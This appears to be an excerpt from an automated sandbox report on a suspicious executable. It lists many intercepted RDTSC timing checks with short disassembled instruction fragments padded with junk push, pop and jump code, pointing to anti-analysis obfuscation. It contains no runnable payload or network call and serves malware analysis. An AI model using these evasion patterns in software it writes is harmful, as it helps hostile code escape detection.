Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E193A second address: 3E195A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Ah 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFC34B89EA0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E195A second address: 3E195E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E195E second address: 3E1962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E1962 second address: 3E1968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E1AD5 second address: 3E1AF7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jbe 00007EFC34B89E96h 0x00000009 jnc 00007EFC34B89E96h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jng 00007EFC34B89E96h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pushad 0x0000001d push esi 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E1AF7 second address: 3E1B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFC34FBCE00h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E2BC6 second address: 3E2BF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007EFC34B89EA5h 0x00000012 jnc 00007EFC34B89E96h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3E2BF5 second address: 3E2C22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007EFC34FBCE09h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3EC0F2 second address: 3EC102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push ebx 0x00000008 js 00007EFC34B89E96h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3F02D5 second address: 3F02DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3F02DB second address: 3F02DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3F02DF second address: 3F02E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3F02E3 second address: 3F02E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F7C2 second address: 32F7C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F7C6 second address: 32F7CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F7CA second address: 32F7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007EFC34FBCDFCh 0x0000000c je 00007EFC34FBCDF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F7DC second address: 32F7E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F7E3 second address: 32F817 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFC34FBCE09h 0x00000010 push esi 0x00000011 jmp 00007EFC34FBCDFCh 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F817 second address: 32F823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFC34B89E96h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F823 second address: 32F827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 32F827 second address: 32F848 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007EFC34B89E96h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3F1B6C second address: 3F1B99 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007EFC34FBCDF6h 0x00000009 pushad 0x0000000a popad 0x0000000b jnc 00007EFC34FBCDF6h 0x00000011 jmp 00007EFC34FBCE08h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3F1B99 second address: 3F1B9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3FDBEA second address: 3FDBF3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3FD7AF second address: 3FD7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3FD7B3 second address: 3FD7D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE00h 0x00000007 jng 00007EFC34FBCDF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3FD7D1 second address: 3FD7D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 3FD7D7 second address: 3FD7DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 40040B second address: 400436 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007EFC34B89E96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jmp 00007EFC34B89EA8h 0x00000014 pop ecx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 400588 second address: 40058C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 40058C second address: 400599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 400599 second address: 40059D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 40059D second address: 4005A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4005A5 second address: 4005BA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 ja 00007EFC34FBCDF6h 0x00000009 pop ebx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jne 00007EFC34FBCDF6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 409731 second address: 409738 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 40BBD4 second address: 40BBDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 40BBDA second address: 40BBE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 41CD10 second address: 41CD20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007EFC34FBCDF6h 0x0000000a jnl 00007EFC34FBCDF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 41CD20 second address: 41CD29 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 41B909 second address: 41B90D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 41BC43 second address: 41BC6B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007EFC34B89E9Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 41BC6B second address: 41BC75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007EFC34FBCDF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 41BC75 second address: 41BC97 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jno 00007EFC34B89E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFC34B89EA2h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 41BE27 second address: 41BE31 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007EFC34FBCDFEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 422A9C second address: 422AA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 431C80 second address: 431C8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007EFC34FBCDF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 43DF99 second address: 43DFA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4418B7 second address: 4418F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push ebx 0x00000008 pushad 0x00000009 popad 0x0000000a pop ebx 0x0000000b jg 00007EFC34FBCE09h 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007EFC34FBCE05h 0x00000018 pushad 0x00000019 push eax 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4418F7 second address: 441918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007EFC34B89EA1h 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jbe 00007EFC34B89E96h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 441A86 second address: 441AC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007EFC34FBCDFFh 0x00000008 jmp 00007EFC34FBCE07h 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFC34FBCDFEh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 441AC0 second address: 441AD6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFC34B89E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007EFC34B89E9Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 441AD6 second address: 441ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 441ADA second address: 441ADF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 456285 second address: 45629D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE02h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 45629D second address: 4562A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4562A1 second address: 4562B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jp 00007EFC34FBCE02h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4562B2 second address: 4562B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4562B8 second address: 4562D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFC34FBCE00h 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 45640D second address: 45641F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFC34B89E9Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 45641F second address: 456425 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4566D0 second address: 4566E3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edi 0x0000000b pop edi 0x0000000c pop eax 0x0000000d push edi 0x0000000e push edx 0x0000000f pop edx 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4566E3 second address: 4566F6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFC34FBCDFEh 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 457012 second address: 45701D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 457190 second address: 4571AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007EFC34FBCE01h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4571AB second address: 4571C9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jp 00007EFC34B89E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007EFC34B89E9Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4571C9 second address: 4571DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007EFC34FBCDF8h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 458CBE second address: 458CE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 je 00007EFC34B89E96h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007EFC34B89EA3h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 458CE2 second address: 458CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 45B6D0 second address: 45B6D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 45BB26 second address: 45BB84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFC34FBCE04h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+1245D473h], ebx 0x00000016 push dword ptr [ebp+122D2DA2h] 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007EFC34FBCDF8h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 00000016h 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 mov edx, edi 0x00000038 push 9D4F873Fh 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007EFC34FBCDFBh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 45EDA7 second address: 45EDB8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFC34B89E98h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D304C0 second address: 4D304CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D304CF second address: 4D304E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC34B89EA4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D304E7 second address: 4D304EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D606D8 second address: 4D606DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D606DE second address: 4D6070E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007EFC34FBCE07h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D6070E second address: 4D60803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007EFC34B89E9Eh 0x00000010 xchg eax, ecx 0x00000011 jmp 00007EFC34B89EA0h 0x00000016 push eax 0x00000017 jmp 00007EFC34B89E9Bh 0x0000001c xchg eax, ecx 0x0000001d jmp 00007EFC34B89EA6h 0x00000022 xchg eax, esi 0x00000023 pushad 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007EFC34B89E9Ch 0x0000002b jmp 00007EFC34B89EA5h 0x00000030 popfd 0x00000031 pushfd 0x00000032 jmp 00007EFC34B89EA0h 0x00000037 adc esi, 3BA22B98h 0x0000003d jmp 00007EFC34B89E9Bh 0x00000042 popfd 0x00000043 popad 0x00000044 mov di, ax 0x00000047 popad 0x00000048 push eax 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007EFC34B89E9Bh 0x00000050 or ah, 0000005Eh 0x00000053 jmp 00007EFC34B89EA9h 0x00000058 popfd 0x00000059 popad 0x0000005a xchg eax, esi 0x0000005b jmp 00007EFC34B89E9Dh 0x00000060 lea eax, dword ptr [ebp-04h] 0x00000063 push eax 0x00000064 push edx 0x00000065 pushad 0x00000066 push edi 0x00000067 pop eax 0x00000068 mov cx, bx 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D60803 second address: 4D6085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE00h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007EFC34FBCE00h 0x0000000f push eax 0x00000010 jmp 00007EFC34FBCDFBh 0x00000015 nop 0x00000016 jmp 00007EFC34FBCE06h 0x0000001b push dword ptr [ebp+08h] 0x0000001e pushad 0x0000001f call 00007EFC34FBCDFEh 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D6088B second address: 4D608A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, 07A2h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a cmp dword ptr [ebp-04h], 00000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007EFC34B89E9Bh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D608A6 second address: 4D608E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCE09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007EFC34FBCE08h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D608E1 second address: 4D608F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34B89E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D608F0 second address: 4D60908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFC34FBCE04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D6092A second address: 4D6092E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\7jKx8dPOEs.exe	RDTSC instruction interceptor: First address: 4D6092E second address: 4D60941 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFC34FBCDFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
